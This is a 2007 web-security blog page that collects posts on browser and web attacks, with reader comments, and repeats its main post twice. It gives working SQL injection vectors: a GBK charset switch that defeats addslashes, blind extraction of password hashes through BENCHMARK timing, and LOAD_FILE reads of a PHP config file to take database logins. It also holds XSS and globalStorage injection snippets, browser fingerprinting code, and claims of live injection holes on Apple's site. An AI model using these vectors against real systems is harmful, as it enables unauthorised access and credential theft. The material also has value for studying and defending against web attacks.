Serving 52434 hackers, 8.91 GB since Jun 07 
Defeating The Same Origin Policy.

Gareth Heyes contacted me with a few ideas regarding the same origin policy. Next thing I knew he send me a few working exploits. Pretty shocked by it, we discussed this some more. I have been reading about the same origin policy in browsers, but I never got around to look at it more properly.

I knew there was a feature that can be modified in a document: document.domain

This sets the domain for the document. Obviously it is not allowed by browsers to set a domain that is outside the document's location itself. I cannot set it to Google.com for instance because the browser does not permits it. But, Gareth showed me that the document.domain can be overwritten in Safari and Microsoft Internet Explorer in such away it is possible to modify the document.domain to another.


# The same origin policy works like this:

http://store.company.com/dir2/other.html => Success
http://store.company.com/dir/inner/another.html =>Success
https://store.company.com/secure.html =>Failure => Different protocol
http://store.company.com:81/dir/etc.htm => Failure => Different port
http://news.company.com/dir/other.html => Failure => Different host

There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks.


Here is the proof of concept by Gareth Heyes.
The script below overwrites the document.domain property which is a real browser flaw.


<script type="text/javascript">
var document;
document = {};
document.domain = 'www.google.com';
alert(document.domain);
</script>


This shows the pitfalls of browser security and how hard it is to secure everything. For now only Microsoft Internet explorer and Safari have been found vulnerable to overwriting the document.domain property.

Two PoC:

Microsoft Internet explorer document.domain overwriting

Safari document.domain overwriting



Posted on 28 06 07 by 0x000000

Post comment.

Comments(0)

Cenzic XSS Pt.II

Posted on 28 06 07 - permalink

So they patched that last XSS hole, or did they? Come on Cenzic! I might be a pain in the ass here but remember one thing: Don't dynamically strip input or rewrite input, because the XSS possibilities are countless. Just encode the data to it's html entities and be released out of this misery, it takes about 15 seconds to patch it for good. Next time I ask money.

Cenzic pt II

Post comment.

Comments(2)

HAJ on 28/06/2007 said:
Hilarious! LMAO

They should pay you for the audit...

Haj.-
Seventh on 28/06/2007 said:
And so on... ;)
Defeating The Same Origin Policy.

Posted on 28 06 07 - permalink

Gareth Heyes contacted me with a few ideas regarding the same origin policy. Next thing I knew he send me a few working exploits. Pretty shocked by it, we discussed this some more. I have been reading about the same origin policy in browsers, but I never got around to look at it more properly.

I knew there was a feature that can be modified in a document: document.domain

This sets the domain for the document. Obviously it is not allowed by browsers to set a domain that is outside the document's location itself. I cannot set it to Google.com for instance because the browser does not permits it. But, Gareth showed me that the document.domain can be overwritten in Safari and Microsoft Internet Explorer in such away it is possible to modify the document.domain to another.


# The same origin policy works like this:

http://store.company.com/dir2/other.html => Success
http://store.company.com/dir/inner/another.html =>Success
https://store.company.com/secure.html =>Failure => Different protocol
http://store.company.com:81/dir/etc.htm => Failure => Different port
http://news.company.com/dir/other.html => Failure => Different host

There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks.


Here is the proof of concept by Gareth Heyes.
The script below overwrites the document.domain property which is a real browser flaw.


<script type="text/javascript">
var document;
document = {};
document.domain = 'www.google.com';
alert(document.domain);
</script>


This shows the pitfalls of browser security and how hard it is to secure everything. For now only Microsoft Internet explorer and Safari have been found vulnerable to overwriting the document.domain property.

Two PoC:

Microsoft Internet explorer document.domain overwriting

Safari document.domain overwriting



Post comment.

Comments(0)

Cross DOM Access in HTML 5.0

Posted on 28 06 07 - permalink

Ah another new feature! that is how I'm going to call it from now on. HTML 5.0 brings some great insecure stuff to the table. Like I showed you before, DOM Storage, Global storage in Firefox, and according to their plans also Cross DOM Access. Or as they call it: Cross Document Messaging. Just what we need... here is an idea: Let's send messages between pages! I can go whine here again, but I think it's better you take a look yourself. It is actually funny stuff, It seems only the Opera browser supports it yet.

Documentation

Cross DOM Access PoC (only for Opera!)


# thats all there is to it.

function sendXSS(){
vars = 'string of text';
out = document.getElementsByTagName('iframe')[0].contentDocument;
out.postMessage(vars);
}

# attach eventlistener

function goXSS(e){
output = document.getElementById('xss');
output.innerHTML = e.data;
}
document.addEventListener('message',goXSS,false);

Post comment.

Comments(0)

My .htaccess

Posted on 27 06 07 - permalink

So I promised to submit my .htaccess on several places. Here it is. It is way too big to post as text here, so I copied it to a text file instead. See the link below:

my .htaccess

Post comment.

Comments(0)

MSIE Browser Client Caps.

Posted on 26 06 07 - permalink

I've always wanted to write about this but always forgot. I have many things to talk about, but this time I thought it would be nice to cover the browser client caps in Internet Explorer. I had a few browser detection scripts which could detect a lot, but mainly in Firefox. I knew that Internet explorer has a similar detection system but that it worked quite differently than Mozilla Firefox. So I wrote a script that does just that, detecting system info. And as a bonus it also detects installed apps for free.

it works like this:

Click here for client caps demo


<HTML xmlns:IE>
<HEAD>
<STYLE>
@media all {IE\:clientCaps {behavior:url(#default#clientcaps)}}
body {font-family:verdana;font-size:12px;}
</STYLE>
</HEAD>
<BODY>
<IE:clientCaps ID="oClientCaps" />
<h1>MSIE CAPS TEST</h1>
<SCRIPT>
document.write('<br><br><b>System Info:</b><br><br>');
var detect_sys = 'width =>'+oClientCaps.width+'<br>'+ 'height => ' + oClientCaps.height
+ '<br>' +'availWidth => ' + oClientCaps.availWidth
+ '<br>' +'availHeight => ' + oClientCaps.availHeight
+ '<br>' +'bufferDepth => ' + oClientCaps.bufferDepth
+ '<br>' +'colorDepth => ' + oClientCaps.colorDepth
+ '<br>' +'cookies => ' + oClientCaps.cookieEnabled
+ '<br>' +'javaapplets => ' + oClientCaps.javaEnabled
+ '<br>' +'connectionType => ' + oClientCaps.connectionType
+ '<br>' +'cpuClass => ' + oClientCaps.cpuClass
+ '<br>' +'platform => ' + oClientCaps.platform
+ '<br>' +'systemLanguage => ' + oClientCaps.systemLanguage
+ '<br>' + 'userLanguage => ' + oClientCaps.userLanguage;

document.write(detect_sys);
document.write('<br><br><b>Installed Software:</b><br><br>');

var clids = Array('{7790769C-0471-11D2-AF11-00C04FA35D02}',
'{89820200-ECBD-11CF-8B85-00AA005B4340}','{283807B5-2C60-11D0-A31D-00AA00B92C03}',
'{4F216970-C90C-11D1-B5C7-0000F8051515}','{44BBA848-CC51-11CF-AAFA-00AA00B6015C}',
'{9381D8F2-0288-11D0-9501-00AA00B911A5}','{4F216970-C90C-11D1-B5C7-0000F8051515}',
'{5A8D6EE0-3E18-11D0-821E-444553540000}','{89820200-ECBD-11CF-8B85-00AA005B4383}',
'{08B0E5C0-4FCB-11CF-AAA5-00401C608555}','{45EA75A0-A269-11D1-B5BF-0000F8051515}',
'{DE5AED00-A4BF-11D1-9948-00C04F98BBC9}','{22D6F312-B0F6-11D0-94AB-0080C74C7E95}',
'{44BBA842-CC51-11CF-AAFA-00AA00B6015B}','{3AF36230-A269-11D1-B5BF-0000F8051515}',
'{44BBA840-CC51-11CF-AAFA-00AA00B6015C}','{CC2A9BA0-3BDD-11D0-821E-444553540000}',
'{08B0E5C0-4FCB-11CF-AAA5-00401C608500}');

var apps = Array('Address Book',
'Windows Desktop Update NT','DirectAnimation',
'DirectAnimation Java Classes','DirectShow',
'Dynamic HTML Data Binding','Dynamic HTML Data Binding for Java',
'Internet Connection Wizard','Internet Explorer 5 Browser',
'Internet Explorer Classes for Java','Internet Explorer Help',
'Internet Explorer Help Engine','Windows Media Player',
'NetMeeting NT','Offline Browsing Pack',
'Outlook Express','Task Scheduler',
'Microsoft virtual machine');

detect = '';
for(i=0;i<clids.length;i++) {
detect = oClientCaps.isComponentInstalled(clids[i],"ComponentID");
document.writeln(apps[i]+' => '+detect+'<br>');
}

</SCRIPT>
</BODY>

Post comment.

Comments(1)

Xyborg on 27/06/2007 said:
Opera looks like FF with this test..
Changing The SQL Charset.

Posted on 26 06 07 - permalink

I've been busy this week with some new SQL injection ideas. One of them was to change the charset dynamically upon injection. This is a little tricky, but could turn out to be critical to bypass certain restrictions. If any, it is also useful to refine an injection.

The principle is simple: normally every column has a charset that has been set by the SQL administrator. Most of the time it is a default charset. But sometimes we need to have a another charset.

We can change the charset by injecting this vector:

ALTER TABLE `test` CHANGE `password` `password` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL

Notice that the backticks are not really needed:

ALTER TABLE test CHANGE password password VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL

We now changed the charset to GBK CHINESE. You might wonder why we changed it to GBK Chinese. This has to do with bypassing addslashes, the PHP function addslashes is vulnerable to multibyte encoding but that is only possible if the database utilizes a multibyte charset, like GBK Chinese or BIG 5.

It works like this:

The vector: 0xbf27 admin 0xbf27
this becomes: ¿'admin¿'
then parsed as: 'admin'

In GBK, 0xbf27 is not a valid multi-byte character, but 0xbf5c is. Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c ().

Read more: http://www.0x000000.com/?i=66


Post comment.

Comments(3)

danny on 26/06/2007 said:
You probably know this, but your RSS feed is no longer working. Excellent blog and topics ....
.mario on 26/06/2007 said:
The two vectors from the post before are found by the PHPIDS - this one isn't *have to upgrade filter rules... now...*

Thx!
.mario
0x000000 on 26/06/2007 said:
Ghehe I will keep you busy the coming year .mario! ^^
2 Interesting SQL Vectors.

Posted on 26 06 07 - permalink

Johan Adriaans contacted me through email, and gave me a few more SQL vectors to add on my cheat sheet. These are pretty interesting because they give an alternative way of approaching the same attacks. Which could be useful to stay under the radar, or if some vectors are not possible.

Alternative way of extracting hashes.

Normally we would use SUBSTRING() to select upon hashes, but it also is possible to use normal operators to select upon them. Like these examples I modified to work in a real SQL injection:

SELECT IF(password > '1', BENCHMARK(1000000,MD5('x')),null) FROM test
SELECT IF(password > '09', BENCHMARK(1000000,MD5('x')),null) FROM test
SELECT IF(password > '09a', BENCHMARK(1000000,MD5('x')),null) FROM test

Using LOAD_FILE to scan PHP files.

This one is really interesting because of the creative approach to extract database login from PHP files by loading the PHP files right into the SQL layer and using SUBSTRING to select a string to match:

SELECT SUBSTRING(LOAD_FILE('/var/www/html/config.php'),20,24) = 'root';

I'm updating my SQL cheat sheet somewhere this week, I have a few things to add myself as well. Aiming for the most complete MySQL cheat sheet.


Post comment.

Comments(1)

flyingkisser on 27/06/2007 said:
Good idea,however,
The major configuration of L.M.A.P do not allow the current mysql user used by php script have file access.
DOM Storage: XSS 2.0

Posted on 23 06 07 - permalink

Mozilla Firefox has some very disturbing new features on board, I checked them out and did some test rounds with them. And to be honest: these features lay the blueprint for Javascript worms. It starts with simple reconnaissance techniques to see if a user is online or not, to full DOM storage which is capable of storing whatever we please. Some parts are even cross domain accessible. I am not sure what Mozilla is thinking here, but this is horrible for security. MSIE has a similar system, but Mozillas version beats all odds. I rather hoped they would back down a little more with all the features, and implement things like HTTPOnlyCookies more properly. Instead they are making it a jungle and a playground for XSS 2.0 and giving ground to real Javascript worm distribution. And I didn't even touch CSRF here. I'm really speechless...

Update: I added the functionalities in my new XSS c.q. worm attack API called: Red dragon which I'm working on. It is far from complete but here is a preview: reddragon.js

.mario send me these links also:
http://www.whatwg.org/specs/web-apps/current-work/#browser
http://www.whatwg.org/specs/web-apps/current-work/#storage
http://www.whatwg.org/specs/web-apps/current-work/#sql


Simply check if a user is online, could be usefull in Javascript worms:

if(navigator.onLine) {
alert('Yes user is online');
}


SessionStorage

This is a global object (sessionStorage) that maintains a storage area that's available for the duration of the page session. A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated.

Save data to a the current session's store
sessionStorage.username = "John";


Access some stored data
alert( "username = " + sessionStorage.username );


Persistent data
Persistent data storage allows us to fetch the data we inserted into the DOM storage:

- On page refresh
- On a browser crash.

Starting in Firefox 2 but mainly in Firefox 3, the browser is fully capable of restoring this sessiondata after a crash. This is interesting because we could on purposely crash a window and inject sessiondata to make it an persistent denial of service, or just inject Anything we want for later use across pages. This could be used to store Javascript worms very effectively.

try {
var store_me = "Any value";
store_me = sessionStorage.autosave;
} catch(e) {
alert('Error storing data!');
}


Global storage, the worst.
it has the capability of globally store data, but also store data that can be accessed by other websites!

Domain only
globalStorage['0x000000.com'].xss = "<script>alert('XSS 2.0');</script>";

Any domain!
globalStorage[''].xss = "<script>alert('XSS 2.0');</script>"



Post comment.

Comments(7)

kuza55 on 24/06/2007 said:
I'm confused, can you actually come up with a scenario where any of these could be used to allow an attacker to do something they would normally not be able to do?

The only thing I've been able to think of is offloading data from a site to globalStorage as a sort of dead-drop, so that an attacker's site can easily retrieve it later.

An application could theoretically forget to escape the input from globalStorage, but the only difference between that and a standard DOM XSS flaw is the location of the user input.
0x000000 on 24/06/2007 said:
I am not aware of any other technique to store data on the users computer other then cookies, or some rogue exploit. But this storage engine allows me to store what ever I want, whenever I want, and it allows huge data -if I have access to that page- which is useful when there is some XSS hole on that page. I could also read out what the site has stored into the persistent storage, and you probably know developers, they are going to store anything it.

The coolest thing is that it can survive page-refreshes and also browser crashes. To be short; it's really bad and I cannot think of a worst feature than this. Oh yeah it might be a great feature for developers, but oh my, Christmas has come early this year; this is a gift! ^^
.mario on 24/06/2007 said:
Yep - HTML5, JS1.9 / JS2.0 and FFox3.0 will make damn sure we have enough work to do the coming months and years.

http://www.whatwg.org/specs/web-apps/current-work/#browser
http://www.whatwg.org/specs/web-apps/current-work/#storage
http://www.whatwg.org/specs/web-apps/current-work/#sql

And I didn't even mention operator overloading ;)

Greetings,
.mario
Martijn on 25/06/2007 said:
globalStorage is just like cookies, only you can store more information and there is a cross-domain feature for the web developer. So this not really more dangerous than cookies.
0x000000 on 25/06/2007 said:
OMG you guys are killing me, Oh it's a feature?? Yeah right, you obviously do not understand the possibilities of it. Who cares anyway huh? As long as I know what I can do with it, and that is more then you could ever imagine.
kuza55 on 27/06/2007 said:
No clearly I don't. Which is why I was asking you to provide an example where this would help an attacker.

Sure, sessionStorage can survive page refreshes, etc, sure globalStorage can be set from different domains, but unless a developer doesn't escape/filter it before using the data in a security-sensitive context (e.g. writing it to the page), these features do not make things any less secure.

Oh, and Flash storage allows you to store up to 10 megabytes of data no the user's computer. I'm not sure if Java has anything similar, but it wouldn't really surprise me.
0x000000 on 27/06/2007 said:

So if there isn't an example, the threat is not real? reminds me of a story that isn't on slashdot: it probably isn't true then.

Yes it survives page refreshes, browser crashes, and has cross domain readability. Flash and Java & cookies don't. This doesn't make it less secure?

I was talking about client side storage, this has nothing to do with flash or Java. I can store any data I want into the browser and have access to it whenever I want. If you set a complete profile into it, I could read it on another site if the global is present.

It can be used to store worms and activate them across webpages instead of calling remote scripts, it can used to store heapspray shellcode to actively stay under the radar of anti virus programs, it can be used to as storage engine for attackers, like storing SQL vectors, XSS lists, Javascript functions, it can store a great deal of information later to used on sub domains to read them out again and use them, like defeating single sign on schemes, it can also be used to profile users and de-annonymize them by storing data vectors in their browser, storing cookie data into the globalstorage to read them out on other web page,

oh yeah you are right... why bother.

XSS & SQL Injection At Apple.

Posted on 22 06 07 - permalink

Mario showed a neatly crafted XSS code injection on Apple's website. After analyzing what Apple does there, they seem to make the obvious mistake by only filtering on the words like: <script> and such. As we know this is no barrier for the XSS die-hards, because a lot of other vectors are possible. A quick peek learned me that Apple also has SQL injection issues. Then I got bored and wrote a blog item about it, that's how things work around here.

Mario's XSS: http://preview.tinyurl.com/3dy45g

My SQL injection: http://tinyurl.com/yvv443


Post comment.

Comments(2)

Daniel on 22/06/2007 said:
Very damn tight sir!!
0x000000 on 22/06/2007 said:
Yeah I hope this sets a good example of XSS, because it isn't easy to fix by just stripping tags.
Browser History Length.

Posted on 21 06 07 - permalink

This next snippet may sound n00b simple, but I'm actually amazed that browsers let me read out the history length these days. I never actually tried it out since maybe 4 years because I always figured it was blocked nowadays, wrong. The history length in browsers are only set when page history is set to be remembered. So I thought about using this to determine if someone has enabled page history yes or no. Which is good reconnaissance because we now can base attacks on this info without a lot of analyzing and testing with the CSS browser history test. It's a small one, and I am still thinking of more ways to abuse this info. Anyway, it could come in handy someday.


<script>
// simple stuff.
alert(history.length);
</script>

Post comment.

Comments(1)

Sergey Vzloman on 27/06/2007 said:
I tested history.length on IE7 and noticed that even enabled page history, history.length may be zero(if user has visited the site directly, and not by link reference). The example can be corrected :

<script>

if(document.location.hash=='')
document.location.hash='history';
window.setTimeout(function(){alert(history.length);},1000);

</script>


Sponsor
Browser Hacks
SQL Injection
News
Security
Root
Code snippets
XSS Cross Site Scripting
Interviews
Phishing
Spam
Fun